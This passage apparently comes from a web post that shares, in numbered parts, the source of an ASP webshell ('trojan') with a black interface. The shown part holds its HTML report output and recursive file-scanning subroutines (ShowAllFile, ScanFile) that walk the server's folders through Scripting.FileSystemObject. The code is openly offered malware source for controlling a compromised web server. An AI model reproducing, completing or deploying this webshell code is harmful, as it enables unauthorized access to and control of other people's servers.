一款不错的asp木马 黑色界面(25)

size:12px;border-collapse:collapse;line-height:130%;clear:both;""><tr>"
If request.Form("radiobutton") = "sws" Then
    RRS "<td width=""20%"">文件相对路径</td>"
    RRS "<td width=""20%"">特征码</td>"
    RRS "<td width=""40%"">描述</td>"
    RRS "<td width=""20%"">创建/修改时间</td>"
else   
    RRS "<td width=""50%"">文件相对路径</td>"
    RRS "<td width=""25%"">文件创建时间</td>"
    RRS "<td width=""25%"">修改时间</td>"
end if
    RRS "</tr>"
    RRS Report
    RRS "<br/></table>"
timer2 = timer
thetime=cstr(int(((timer2-timer1)*10000 )+0.5)/10)
RRS "<br><font style='font-size:12px'>本页执行共用了"&thetime&"毫秒
</font>"
    end if
Sub ShowAllFile(Path)
    Set F1SO = CreateObject("Scripting.FileSystemObject")
    if not F1SO.FolderExists(path) then exit sub
    Set f = F1SO.GetFolder(Path)
    Set fc2 = f.files
    For Each myfile in fc2
        If CheckExt(F1SO.GetExtensionName
(path&"\"&myfile.name)) Then
            Call ScanFile(Path&Temp&"\"&myfile.name, "")
            SumFiles = SumFiles + 1
        End If
    Next
    Set fc = f.SubFolders
    For Each f1 in fc
        ShowAllFile path&"\"&f1.name
        SumFolders = SumFolders + 1
    Next
    Set F1SO = Nothing
End Sub
Sub ScanFile(FilePath, InFile)
Server.ScriptTimeout=999999999
    If InFile <> "" Then
        Infiles = "<font color=red>该文件被<a 
href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode
(InFile)&""" target=_blank>"& InFile & "</a>文件包含执行</font>"
    End If